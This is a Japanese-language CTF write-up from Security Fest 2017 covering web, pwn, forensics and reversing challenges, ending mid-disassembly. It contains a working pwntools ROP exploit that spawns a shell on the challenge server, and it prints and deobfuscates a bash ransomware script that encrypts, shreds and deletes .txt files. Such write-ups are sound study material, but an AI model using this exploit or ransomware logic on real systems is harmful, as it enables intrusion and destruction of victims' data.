チーム Harekaze で Security Fest 2017 に参加しました。最終的にチームで 1660 点を獲得し、順位は得点 447 チーム中 10 位でした。うち、私は 10 問を解いて 1400 点を入れました。
以下、解いた問題の write-up です。
http://alieni.se:3003/ という URL が与えられました。ソースを見てみると以下のようになっていました。
<center><font size=12 color=red>Under construction
<br><img onclick="location='/render/404'"src=...></html <!-- fixed -->
/render/404 にアクセスすると以下のように表示されました。
404 is under construction...
/render/2-1 にアクセスすると以下のように表示されました。
1 is under construction...
2-1
という文字列ではなく 2-1
の計算結果が表示されました。
/render/10000000000000000000000000 にアクセスすると以下のように表示されました。
1e+25 is under construction...
どうやら JavaScript のようです。/render/arguments.callee にアクセスすると以下のように表示されました。
function anonymous(locals, escapeFn, include, rethrow
/**/) {
var __line = 1
, __lines = "<%= arguments.callee %> is under construction...<%# ---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k}---SCTF{m3m0ry_l34k_Schm3m0ry_l34k} %>"
, __filename = undefined;
try {
var __output = [], __append = __output.push.bind(__output);
with (locals || {}) {
; __append(escapeFn( arguments.callee ))
; __append(" is under construction...")
}
return __output.join("");
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}
} is under construction...
SCTF{m3m0ry_l34k_Schm3m0ry_l34k}
puzzle_palace.tar.gz が与えられます。展開すると libc.so.6_eea5f41864be6e7b95da2f33f3dec47f と README というファイルが出てきました。問題のバイナリは与えられていないようです。
README は
Yep you only get the libc, connect to the service and go for an adventure to get the rest.
という内容でした。サーバに接続してみましょう。
$ nc pwn.ctf.rocks 6666
The Puzzle Palace
===============
1) Go on an adventure to find the magic bytes!
2) Fight the evil wizard with the magic bytes!
3) Return home with shame
#> 1
You enter the Puzzle Palace!
A message glows brightly on the wall of this room [7F454C4602010100000000000000000003003E0001000000100A000000000000400000000000000038210000000000000000000040003800090040001B001A00]
Where to now adventurer?
1) Up
2) Down
#> 2
A message glows brightly on the wall of this room [0600000005000000400000000000000040000000000000004000000000000000F801000000000000F80100000000000008000000000000000300000004000000]
Where to now adventurer?
1) Up
2) Down
...
最初に 1 を入力し、次に 2 を入力し続けると問題のバイナリが得られそうです。スクリプトを書いてみましょう。
from pwn import *
s = remote('pwn.ctf.rocks', 6666)
s.recvuntil('#> ')
s.sendline('1')
res = ''
try:
while True:
s.recvuntil('A message glows brightly on the wall of this room [')
line = s.recvline().strip()[:-1]
res += line
log.info(line)
s.recvuntil('#> ')
s.sendline('2')
except:
with open('result.bin', 'wb') as f:
f.write(res.decode('hex'))
s.close()
これで result.bin に問題のバイナリが保存されました。
バイナリを見ていると、以下のような処理がありました。
edd: ba 05 00 00 00 mov edx,0x5
ee2: 48 8d 35 57 11 20 00 lea rsi,[rip+0x201157] # 202040 <stdin+0x10>
ee9: bf 00 00 00 00 mov edi,0x0
eee: e8 c5 fa ff ff call 9b8 <_edata-0x201658> # read
ef3: 0f b6 05 46 11 20 00 movzx eax,BYTE PTR [rip+0x201146] # 202040 <stdin+0x10>
efa: 0f be c0 movsx eax,al
efd: 83 f8 32 cmp eax,0x32 # '2'
f00: 74 24 je f26 <_edata-0x2010ea>
f02: 83 f8 32 cmp eax,0x32 # '2'
f05: 7f 07 jg f0e <_edata-0x201102>
f07: 83 f8 31 cmp eax,0x31 # '1'
f0a: 74 0e je f1a <_edata-0x2010f6>
f0c: eb 4a jmp f58 <_edata-0x2010b8>
f0e: 83 f8 33 cmp eax,0x33 # '3'
f11: 74 1f je f32 <_edata-0x2010de>
f13: 83 f8 5a cmp eax,0x5a # 'Z'
f16: 74 24 je f3c <_edata-0x2010d4>
f18: eb 3e jmp f58 <_edata-0x2010b8>
f1a: b8 00 00 00 00 mov eax,0x0
f1f: e8 9a fd ff ff call cbe <_edata-0x201352>
f24: eb 32 jmp f58 <_edata-0x2010b8>
f26: b8 00 00 00 00 mov eax,0x0
f2b: e8 01 ff ff ff call e31 <_edata-0x2011df>
f30: eb 26 jmp f58 <_edata-0x2010b8>
f32: bf 00 00 00 00 mov edi,0x0
f37: e8 bc fa ff ff call 9f8 <_edata-0x201618> # exit
f3c: 48 8b 05 3d 10 20 00 mov rax,QWORD PTR [rip+0x20103d] # 201f80 <_edata-0x90>
f43: 48 89 c6 mov rsi,rax
f46: 48 8d 3d e3 04 00 00 lea rdi,[rip+0x4e3] # 1430 <_edata-0x200be0> => "Woah, nice! You found the hidden 'system' libc address:%p!\n"
f4d: b8 00 00 00 00 mov eax,0x0
f52: e8 49 fa ff ff call 9a0 <_edata-0x201670> # printf
f57: 90 nop
f58: e9 6f ff ff ff jmp ecc <_edata-0x201144>
メニューには 1 ~ 3 の数字しかありませんでしたが、どうやら Z を入力すると system のアドレスを教えてくれるようです。
また、2 を入力した際には以下のような処理を行うようです。
e31: 55 push rbp
e32: 48 89 e5 mov rbp,rsp
e35: 48 83 ec 20 sub rsp,0x20
e39: 48 c7 45 e0 00 00 00 mov QWORD PTR [rbp-0x20],0x0
e40: 00
e41: 48 c7 45 e8 00 00 00 mov QWORD PTR [rbp-0x18],0x0
e48: 00
e49: c7 45 f0 00 00 00 00 mov DWORD PTR [rbp-0x10],0x0
e50: 48 8d 3d 69 02 00 00 lea rdi,[rip+0x269] # 10c0 <_edata-0x200f50> => "Hope you got those magic bytes ready!\nThe wizard points at you and starts yelling 'lightning bolt!'\nThis would be a good time use those magic bytes: "
e57: b8 00 00 00 00 mov eax,0x0
e5c: e8 3f fb ff ff call 9a0 <_edata-0x201670> # printf
e61: bf 00 01 00 00 mov edi,0x100
e66: e8 d5 fc ff ff call b40 <_edata-0x2014d0>
e6b: ba 19 00 00 00 mov edx,0x19
e70: 48 8d 35 e9 11 20 00 lea rsi,[rip+0x2011e9] # 202060 <stdin+0x30>
e77: 48 8d 3d e2 01 00 00 lea rdi,[rip+0x1e2] # 1060 <_edata-0x200fb0> => "1337p0werOverWhelMing1337"
e7e: e8 fd fa ff ff call 980 <_edata-0x201690> # strcmp
e83: 85 c0 test eax,eax
e85: 75 29 jne eb0 <_edata-0x201160>
e87: 48 8d 3d 32 03 00 00 lea rdi,[rip+0x332] # 11c0 <_edata-0x200e50> => "Nice! Pwn the wizard with some ROP and ROLL now!: "
e8e: b8 00 00 00 00 mov eax,0x0
e93: e8 08 fb ff ff call 9a0 <_edata-0x201670> # printf
e98: 48 8d 45 e0 lea rax,[rbp-0x20]
e9c: ba 37 13 00 00 mov edx,0x1337
ea1: 48 89 c6 mov rsi,rax
ea4: bf 00 00 00 00 mov edi,0x0
ea9: e8 0a fb ff ff call 9b8 <_edata-0x201658> # read
eae: eb 16 jmp ec6 <_edata-0x20114a>
eb0: 48 8d 3d 79 04 00 00 lea rdi,[rip+0x479] # 1330 <_edata-0x200ce0> => "You utter the magic bytes but they are wrong and the evil wizard burns you to a crisp, GG!"
eb7: e8 cc fa ff ff call 988 <_edata-0x201688> # puts
ebc: bf 00 00 00 00 mov edi,0x0
ec1: e8 32 fb ff ff call 9f8 <_edata-0x201618> # exit
ec6: c9 leave
ec7: c3 ret
1337p0werOverWhelMing1337
を入力すれば次の入力に進むことができるようです。スタック BOF ができないか試してみましょう。
$ ./result.bin
The Puzzle Palace
===============
1) Go on an adventure to find the magic bytes!
2) Fight the evil wizard with the magic bytes!
3) Return home with shame
#> 2
Hope you got those magic bytes ready!
The wizard points at you and starts yelling 'lightning bolt!'
This would be a good time use those magic bytes: 1337p0werOverWhelMing1337
Nice! Pwn the wizard with some ROP and ROLL now!: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
できました。あとは添付の libc と得られた system のアドレスを使って system("/bin/sh")
を実行しましょう。
from pwn import *
offset_system = 0x45390
offset_pop_rdi = 0x21102 # pop rdi ; ret ; (535 found)
offset_binsh = 0x18c177 # "/bin/sh"
s = remote('pwn.ctf.rocks', 6666)
s.recvuntil('#> ')
s.sendline('Z')
s.recvuntil("Woah, nice! You found the hidden 'system' libc address:")
addr_system = int(s.recvuntil('!')[:-1], 16)
libc_base = addr_system - offset_system
s.sendline('2')
s.recvuntil('This would be a good time use those magic bytes: ')
s.sendline('1337p0werOverWhelMing1337')
s.recvuntil('Nice! Pwn the wizard with some ROP and ROLL now!: ')
payload = ''
payload += 'A' * 40
payload += p64(libc_base + offset_pop_rdi)
payload += p64(libc_base + offset_binsh)
payload += p64(addr_system)
s.sendline(payload)
s.interactive()
s.close()
$ python solve.py
[+] Opening connection to pwn.ctf.rocks on port 6666: Done
[*] Switching to interactive mode
$ ls
chall
flag
redir.sh
$ cat flag
SCTF{1_4lwa4y5_h4t3d_w1zard5}
SCTF{1_4lwa4y5_h4t3d_w1zard5}
empty.7z というファイルが与えられました。展開すると empty.pdf というファイルが出てきました。
pdf-parser に投げると以下のような結果になりました。
$ pdf-parser empty.pdf
...
obj 1337 0
Type: /Font
Referencing: 12 0 R, 13 0 R
<<
/Type /Font
/Subtype /TrueType
/BaseFont /BAAAAA+LiberationSerif-Bold
/FirstChar 0
/LastChar 25
/Widths [/Widths[83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125]
/FontDescriptor 12 0 R
/ToUnicode 13 0 R
>>
...
$ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print ''.join(chr(int(x)) for x in '83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125'.split(' '))
SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}
SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}
Unlocky.7z というファイルが与えられました。展開すると Unlocky.raw というファイルが出てきました。先頭 5 バイトは D2 BE D2 BE 08
で vmss ファイルであることが分かります。
問題名の Unlocky で検索すると以下のような文字列が見つかりました。
ACK="UEsDBBQAAAAIAIdDNkreOsnIJAMAAPMOAAAIABwASGVscC50eHRVVAkAAw1fhFg1X4RYdXgLAAEE6AMAAAToAwAA3VXNbtNAED63Ut5h1AsXGlE4IFWqkICWSyUQFCGOG2fTrJp4o107lTlFJQckitR1QsWBE+LIkSegb5InYX/s3bGTtBVSE4nV2LFnZ775ZnY8aWxubMDs8hPopX/sk/u1Mi70QTkBp8qRlXPTynFVOQ6g5d5IIyCHArNRsCgiTcqNPLiPvEvVoEomD6A5Uo8qAI5bsM/rieeGDyKKkFRFPXJ05gOqGi9V5zXxNR/jfBwxhZ29o/KsJkV4Nc+qSOlidnl+My9UDlWymjhGY+Q9wUT";B=6;C=4;X="x";XOR="-e";ZIPZ="v";D="-d";P="e";O="c";W="h";E="o";Q="m";ZZ="r";PLANET="mdaINhWQcIsf8TiipKdHEHQE70MakzTpcsE+6EE00Jg8ltBKExgIPmRtFh+DJmTGoCR9HYzpG4kiKqVB06AGSE9PhJJKDdOEI65rEHFjH9e3taoNfXJCLbIO5QFF2stwdqxJmyZMS8PYbDm0qa0FZDwV0GE9Ks0jxFSD621bfWKTlQMaMZ3sgEh5qsvQdGe0uFmn56XcXZtcOKmQuJ3nTz3zw9jf3vP/ZnvbGOrMyvfbYF5TiWkpd1eJb06WkvCrsfkXUEsBAh4DFAAAAAgAh0M2St46ycgkAwAA8w4AAAgAGAAAAAAAAQAAALSBAAAAAEhlbHAudHh0VVQFAAMNX4RYdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEATgAAAGYDAAAAAA==";IMPORT=$($P$O$W$E $XOR '\x73\x68\x72\x65\x64');M="n";S="i";DES="-a"$P"s";VEV="$ZZ$P$ZIPZ";RSA="exBWHk3ti1HYek55hKBF6VrkVEC0Al0sXt/7RlI+xfIakcZXrjJ7TD0ZtIATpwBqib8W9gxqgpM0lc5QaEFaSlhLFyz9z+vmshG/+DUrKaPv63bA/ppD3oi1YZ8m6pXCe2ut8NdXIrJUC1fPJYgukWD68sq7N6/g2Wrpr3AYfHb2djzwHNvwtrpfB0yX3FNM2Qkj/E2J5yyD8yjvfAgOYfcnDGO4MhqDMIZwS1YDm7Airt4xjMdoLRqhcjlD3+iZ6ZGFCHO0bLUSBJSlB9G1s8e1VdvQ8nd5xdv6n1wa6QfEp4v8YNpXMM5oIzXbrraMctO7q35IX9yfRPtZfdlnrt2qyXuwDDCwsskViMShlCwDB7hKxfbfliapAr6oACgLV9Ux0L0TiifFTtt4IXmlwdbuIR9POe1UP4HG531HzlLfnCIn1YDe5Mg3h288ZjufVClw3nwrf1R82S5CLgIolWut1Mb6gPqznI540I9vJF0GFAsp6ONjKgYXJDWSCxKiCUTMTvw7f2yz+gzoXoSmc";IN="1337$HOSTNAME$1";ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done); I28="256"; OR="SEVMUF9SZWFkbWUudHh0Cg==";NA="$X41$X42$X43";THE=$("$P$O$W$E" "$XOR" "$RSA" | "$VEV");NB="$X44$X45";A=$($P$O$W$E -e '\x62\x61');A1=$($P$O$W$E -e '\x73\x65');blaj="$A$A1$B$C";DIE="$("$P$O$W$E" "$XOR" "$OR" | "$blaj" "$D")";BASE85="$($P$O$W$E $XOR "\x6f\x70\x65\x6e\x73\x73\x6c")";"$P$O$W$E" "$XOR" "$NA$NB$JS$ALL1" | "$blaj" "$D";for Unlocky in $(ls *.txt); do $P$O$W$E $XOR "Encrypting "$Unlocky""; $BASE85 $P$M$O -$S$M $Unlocky -"$E"ut $Unlocky.$1 $XOR $DES"$I28" -k $ENC; $IMPORT $Unlocky; $ZZ$Q -f $Unlocky;done;$P$O$W$E $XOR $HACK$THE$PLANET | $A$A1$B$C $D | z"$O"at > $DIE
ACK を HACK に直して、シェルスクリプトとして整形すると以下のようになりました。
HACK="UEsDBBQAAAAIAIdDNkreOsnIJAMAAPMOAAAIABwASGVscC50eHRVVAkAAw1fhFg1X4RYdXgLAAEE6AMAAAToAwAA3VXNbtNAED63Ut5h1AsXGlE4IFWqkICWSyUQFCGOG2fTrJp4o107lTlFJQckitR1QsWBE+LIkSegb5InYX/s3bGTtBVSE4nV2LFnZ775ZnY8aWxubMDs8hPopX/sk/u1Mi70QTkBp8qRlXPTynFVOQ6g5d5IIyCHArNRsCgiTcqNPLiPvEvVoEomD6A5Uo8qAI5bsM/rieeGDyKKkFRFPXJ05gOqGi9V5zXxNR/jfBwxhZ29o/KsJkV4Nc+qSOlidnl+My9UDlWymjhGY+Q9wUT";
B=6;
C=4;
X="x";
XOR="-e";
ZIPZ="v";
D="-d";
P="e";
O="c";
W="h";
E="o";
Q="m";
ZZ="r";
PLANET="mdaINhWQcIsf8TiipKdHEHQE70MakzTpcsE+6EE00Jg8ltBKExgIPmRtFh+DJmTGoCR9HYzpG4kiKqVB06AGSE9PhJJKDdOEI65rEHFjH9e3taoNfXJCLbIO5QFF2stwdqxJmyZMS8PYbDm0qa0FZDwV0GE9Ks0jxFSD621bfWKTlQMaMZ3sgEh5qsvQdGe0uFmn56XcXZtcOKmQuJ3nTz3zw9jf3vP/ZnvbGOrMyvfbYF5TiWkpd1eJb06WkvCrsfkXUEsBAh4DFAAAAAgAh0M2St46ycgkAwAA8w4AAAgAGAAAAAAAAQAAALSBAAAAAEhlbHAudHh0VVQFAAMNX4RYdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEATgAAAGYDAAAAAA==";
IMPORT=$($P$O$W$E $XOR '\x73\x68\x72\x65\x64');
M="n";
S="i";
DES="-a"$P"s";
VEV="$ZZ$P$ZIPZ";
RSA="exBWHk3ti1HYek55hKBF6VrkVEC0Al0sXt/7RlI+xfIakcZXrjJ7TD0ZtIATpwBqib8W9gxqgpM0lc5QaEFaSlhLFyz9z+vmshG/+DUrKaPv63bA/ppD3oi1YZ8m6pXCe2ut8NdXIrJUC1fPJYgukWD68sq7N6/g2Wrpr3AYfHb2djzwHNvwtrpfB0yX3FNM2Qkj/E2J5yyD8yjvfAgOYfcnDGO4MhqDMIZwS1YDm7Airt4xjMdoLRqhcjlD3+iZ6ZGFCHO0bLUSBJSlB9G1s8e1VdvQ8nd5xdv6n1wa6QfEp4v8YNpXMM5oIzXbrraMctO7q35IX9yfRPtZfdlnrt2qyXuwDDCwsskViMShlCwDB7hKxfbfliapAr6oACgLV9Ux0L0TiifFTtt4IXmlwdbuIR9POe1UP4HG531HzlLfnCIn1YDe5Mg3h288ZjufVClw3nwrf1R82S5CLgIolWut1Mb6gPqznI540I9vJF0GFAsp6ONjKgYXJDWSCxKiCUTMTvw7f2yz+gzoXoSmc";
IN="1337$HOSTNAME$1";
ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done);
I28="256";
OR="SEVMUF9SZWFkbWUudHh0Cg==";
NA="$X41$X42$X43";
THE=$("$P$O$W$E" "$XOR" "$RSA" | "$VEV");
NB="$X44$X45";
A=$($P$O$W$E -e '\x62\x61');
A1=$($P$O$W$E -e '\x73\x65');
blaj="$A$A1$B$C";
DIE="$("$P$O$W$E" "$XOR" "$OR" | "$blaj" "$D")";
BASE85="$($P$O$W$E $XOR "\x6f\x70\x65\x6e\x73\x73\x6c")";
"$P$O$W$E" "$XOR" "$NA$NB$JS$ALL1" | "$blaj" "$D";
for Unlocky in $(ls *.txt); do
$P$O$W$E $XOR "Encrypting "$Unlocky"";
echo $ENC;
$BASE85 $P$M$O -$S$M $Unlocky -"$E"ut $Unlocky.$1 $XOR $DES"$I28" -k $ENC;
$IMPORT $Unlocky;
$ZZ$Q -f $Unlocky;
done;
$P$O$W$E $XOR $HACK$THE$PLANET | $A$A1$B$C $D | z"$O"at > $DIE
難読化されていますが、重要そうな部分だけ抜き出してもう少し読みやすくしてみます。
IN="1337$HOSTNAME$1";
ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done);
for Unlocky in $(ls *.txt); do
echo -e "Encrypting "$Unlocky"";
echo $ENC;
openssl enc -in $Unlocky -out $Unlocky.$1 -e -aes256 -k $ENC;
shred $Unlocky;
rm -f $Unlocky;
done;
echo -e $HACK$THE$PLANET | base64 -d | zcat > HELP_Readme.txt
$HOSTNAME とスクリプトに渡した第一引数から暗号化に使うパスワードを生成し、拡張子が .txt のファイルを openssl で暗号化しています。
使われたパスワードと暗号化されたフラグを探します。まず使われたパスワードについて、gibson
で検索すると 1337gibsonUnlocky
という文字列が見つかりました。
次に暗号化されたフラグについて、Salted__
で検索すると以下のファイルが見つかりました。
$ xxd flag.txt.Unlocky
0000000: 5361 6c74 6564 5f5f b5e0 2647 7df4 4e7f Salted__..&G}.N.
0000010: cc65 e4c8 bb79 2b00 1d29 6f20 a2ec 1e6c .e...y+..)o ...l
0000020: 3679 42de f165 3711 356c 7f7b eda1 7950 6yB..e7.5l.{..yP
0000030: 7bbc 3d4a 3ebb fef7 f44a bb76 dcc4 c4db {.=J>....J.v....
$ IN="1337gibsonUnlocky";
$ ENC=$(for ((i=0;i<${#IN};i++)); do printf %02X \'${IN:$i:1}; done);
$ openssl enc -in flag.txt.Unlocky -d -aes256 -k $ENC;
SCTF{B4sh_0bfu5c4t10n_1s_n0t_h4rd_set-x-ftw}
SCTF{B4sh_0bfu5c4t10n_1s_n0t_h4rd_set-x-ftw}
pkware.7z というファイルが与えられました。展開すると pkware.zip というファイルが出てきました。
$ zipinfo pkware.zip
Archive: pkware.zip
Zip file size: 4688 bytes, number of entries: 26
-rw-rw-r-- 3.0 unx 20 TX defN 17-May-27 17:24 10/A.txt
-rw-rw-r-- 3.0 unx 31 TX defN 17-May-27 17:24 11/A.txt
-rw-rw-r-- 3.0 unx 73 TX defN 17-May-27 17:24 12/A.txt
-rw-rw-r-- 3.0 unx 20 TX defN 17-May-27 17:24 13/A.txt
-rw-rw-r-- 3.0 unx 72 TX defN 17-May-27 17:24 14/A.txt
-rw-rw-r-- 3.0 unx 31 TX defN 17-May-27 17:24 15/A.txt
-rw-rw-r-- 3.0 unx 67 TX defN 17-May-27 17:24 16/A.txt
-rw-rw-r-- 3.0 unx 68 TX defN 17-May-27 17:24 17/A.txt
-rw-rw-r-- 3.0 unx 74 TX defN 17-May-27 17:24 18/A.txt
-rw-rw-r-- 3.0 unx 20 TX defN 17-May-27 17:24 19/A.txt
-rw-rw-r-- 3.0 unx 53 TX defN 17-May-27 17:24 1/A.txt
-rw-rw-r-- 3.0 unx 74 TX defN 17-May-27 17:24 20/A.txt
-rw-rw-r-- 3.0 unx 68 TX defN 17-May-27 17:24 21/A.txt
-rw-rw-r-- 3.0 unx 33 TX defN 17-May-27 17:24 22/A.txt
-rw-rw-r-- 3.0 unx 72 TX defN 17-May-27 17:24 23/A.txt
-rw-rw-r-- 3.0 unx 65 TX defN 17-May-27 17:24 24/A.txt
-rw-rw-r-- 3.0 unx 20 TX defN 17-May-27 17:24 25/A.txt
-rw-rw-r-- 3.0 unx 26 TX stor 17-May-27 17:24 26/you-dont-need-a-password.txt
-rw-rw-r-- 3.0 unx 43 TX defN 17-May-27 17:24 2/A.txt
-rw-rw-r-- 3.0 unx 54 TX defN 17-May-27 17:24 3/A.txt
-rw-rw-r-- 3.0 unx 46 TX defN 17-May-27 17:24 4/A.txt
-rw-rw-r-- 3.0 unx 20 TX defN 17-May-27 17:24 5/A.txt
-rw-rw-r-- 3.0 unx 64 TX defN 17-May-27 17:24 6/A.txt
-rw-rw-r-- 3.0 unx 34 TX defN 17-May-27 17:24 7/A.txt
-rw-rw-r-- 3.0 unx 74 TX defN 17-May-27 17:24 8/A.txt
-rw-rw-r-- 3.0 unx 34 TX defN 17-May-27 17:24 9/A.txt
26 files, 1256 bytes uncompressed, 166 bytes compressed: 86.8%
ファイルのサイズをディレクトリ名でソートすると 53 43 54 46 20 64 34 74 34 20 31 73 20 72 31 67 68 74 20 74 68 33 72 65 20 26
になります。これを hex デコードすると SCTF d4t4 1s r1ght th3re &
が出てきました。
SCTF{d4t4_1s_r1ght_th3re}
qrcodemadness.7z というファイルが与えられました。展開すると 7.png、15.png、71.png … と飛び飛びのファイル名の大量の QR コードが出てきました。
更新日時が古い順にソートして読み込むと、base64 エンコードされたフラグが得られました。
from subprocess import *
files = ['971.png', '958.png', '927.png', '919.png', '917.png', '905.png', '880.png', '867.png', '799.png', '777.png', '776.png', '758.png', '750.png', '738.png', '71.png', '703.png', '697.png', '642.png', '636.png', '626.png', '606.png', '565.png', '563.png', '552.png', '540.png', '525.png', '509.png', '508.png', '495.png', '473.png', '398.png', '385.png', '376.png', '289.png', '288.png', '270.png', '268.png', '227.png', '223.png', '218.png', '204.png', '183.png', '177.png', '173.png', '152.png', '133.png', '1268.png', '1250.png', '1201.png', '1195.png', '1194.png', '1183.png', '1154.png', '1099.png', '1090.png', '1082.png', '1058.png', '1004.png', '995.png', '1307.png', '1333.png', '1138.png', '1131.png', '7.png', '678.png', '764.png', '246.png', '828.png', '1220.png', '511.png', '673.png', '544.png', '498.png', '194.png', '787.png', '657.png', '572.png', '442.png', '99.png', '910.png', '124.png', '325.png', '618.png', '254.png', '1253.png', '1242.png', '543.png', '481.png', '555.png', '1199.png', '577.png', '1215.png', '292.png', '977.png', '1091.png', '287.png', '421.png', '94.png', '786.png', '931.png', '389.png', '357.png', '127.png', '1324.png', '1093.png', '1044.png', '945.png', '222.png', '876.png', '15.png', '1142.png', '732.png', '387.png', '189.png']
res = ''
for file in files:
p = Popen(['zbarimg', 'qrcodemadness/' + file], stdout=PIPE, stderr=PIPE)
o, e = p.communicate()
res += o[8]
print repr(res[2:].decode('base64'))
$ python2 t.py
"\xfb\x8d3\xa8i\xa5-'H'XX\xdcB\xa8O\x0b+\xc5jd\x88\x0c\x9b=u=\x0e>oy\x15A\x1d\xf1`\xea\xebL\xed\t\xdcSCTF{Th3s3_d4mn_QR_c0d3_k33p_p0p1ng_up}\n"
SCTF{Th3s3_d4mn_QR_c0d3_k33p_p0p1ng_up}
badhtml.tar.gz というファイルが与えられました。展開すると index.html と page/index.html、page/ 下に数枚の猫の画像が出てきました。
page/index.htmlをエディタで見ると、タブとスペースが不自然に混ざっていました。タブを 1、スペースを 0 として、2 進数として読むとフラグが得られました。
import re
s = open('page/index.html').read()
m = re.findall(r' {8}|\t', s)
t = ''.join({1: '1', 8: '0'}[len(x)] for x in m)
print hex(int(t, 2))[2:-1].decode('hex')
$ python2 s.py
SCTF{Wh1735p4c35_4r3_84d_4u!}
SCTF{Wh1735p4c35_4r3_84d_4u!}
signal.tar.gz というファイルが与えられました。展開すると signal というファイルが出てきました。
$ file ./signal
./signal: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c14208b847a2fcc05f8e3478370993cbda26a80a, stripped
$ ./signal
hoge
u loose)))
バイナリを調べていると、以下のような関数がありました。
a52: 55 push rbp
a53: 48 89 e5 mov rbp,rsp
a56: 48 81 ec 80 01 00 00 sub rsp,0x180
a5d: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
a64: 00 00
a66: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
a6a: 31 c0 xor eax,eax
a6c: 41 b9 00 00 00 00 mov r9d,0x0
a72: 41 b8 ff ff ff ff mov r8d,0xffffffff
a78: b9 22 00 00 00 mov ecx,0x22
a7d: ba 07 00 00 00 mov edx,0x7
a82: be 00 10 00 00 mov esi,0x1000
a87: bf 00 00 00 00 mov edi,0x0
a8c: e8 bf fd ff ff call 850 <mmap@plt>
a91: 48 89 85 98 fe ff ff mov QWORD PTR [rbp-0x168],rax
a98: c7 85 8c fe ff ff 00 mov DWORD PTR [rbp-0x174],0x0
a9f: 00 00 00
aa2: 48 8d 95 b0 fe ff ff lea rdx,[rbp-0x150]
aa9: 48 8d 05 78 02 00 00 lea rax,[rip+0x278] # d28 <fork@plt+0x458>
ab0: b9 27 00 00 00 mov ecx,0x27
ab5: 48 89 d7 mov rdi,rdx
ab8: 48 89 c6 mov rsi,rax
abb: f3 48 a5 rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
abe: 48 89 f0 mov rax,rsi
ac1: 48 89 fa mov rdx,rdi
ac4: 8b 08 mov ecx,DWORD PTR [rax]
ac6: 89 0a mov DWORD PTR [rdx],ecx
ac8: 48 8d 52 04 lea rdx,[rdx+0x4]
acc: 48 8d 40 04 lea rax,[rax+0x4]
ad0: 0f b7 08 movzx ecx,WORD PTR [rax]
ad3: 66 89 0a mov WORD PTR [rdx],cx
ad6: 48 8d 52 02 lea rdx,[rdx+0x2]
ada: 48 8d 40 02 lea rax,[rax+0x2]
ade: 0f b6 08 movzx ecx,BYTE PTR [rax]
ae1: 88 0a mov BYTE PTR [rdx],cl
ae3: 48 8d 52 01 lea rdx,[rdx+0x1]
ae7: 48 8d 40 01 lea rax,[rax+0x1]
aeb: 48 b8 05 05 37 13 be movabs rax,0xfeedbabe13370505
af2: ba ed fe
af5: 48 89 85 a0 fe ff ff mov QWORD PTR [rbp-0x160],rax
afc: c7 85 90 fe ff ff 3e mov DWORD PTR [rbp-0x170],0x13e
b03: 01 00 00
b06: c7 85 8c fe ff ff 00 mov DWORD PTR [rbp-0x174],0x0
b0d: 00 00 00
b10: eb 4d jmp b5f <fork@plt+0x28f>
b12: 8b 85 8c fe ff ff mov eax,DWORD PTR [rbp-0x174]
b18: 48 98 cdqe
b1a: 0f b6 b4 05 b0 fe ff movzx esi,BYTE PTR [rbp+rax*1-0x150]
b21: ff
b22: 8b 85 8c fe ff ff mov eax,DWORD PTR [rbp-0x174]
b28: 99 cdq
b29: c1 ea 1d shr edx,0x1d
b2c: 01 d0 add eax,edx
b2e: 83 e0 07 and eax,0x7
b31: 29 d0 sub eax,edx
b33: c1 e0 03 shl eax,0x3
b36: 48 8b 95 a0 fe ff ff mov rdx,QWORD PTR [rbp-0x160]
b3d: 89 c1 mov ecx,eax
b3f: 48 d3 ea shr rdx,cl
b42: 48 89 d0 mov rax,rdx
b45: 31 c6 xor esi,eax
b47: 89 f2 mov edx,esi
b49: 8b 85 8c fe ff ff mov eax,DWORD PTR [rbp-0x174]
b4f: 48 98 cdqe
b51: 88 94 05 b0 fe ff ff mov BYTE PTR [rbp+rax*1-0x150],dl
b58: 83 85 8c fe ff ff 01 add DWORD PTR [rbp-0x174],0x1
b5f: 8b 85 8c fe ff ff mov eax,DWORD PTR [rbp-0x174]
b65: 3b 85 90 fe ff ff cmp eax,DWORD PTR [rbp-0x170]
b6b: 72 a5 jb b12 <fork@plt+0x242>
b6d: 8b 95 90 fe ff ff mov edx,DWORD PTR [rbp-0x170]
b73: 48 8d 8d b0 fe ff ff lea rcx,[rbp-0x150]
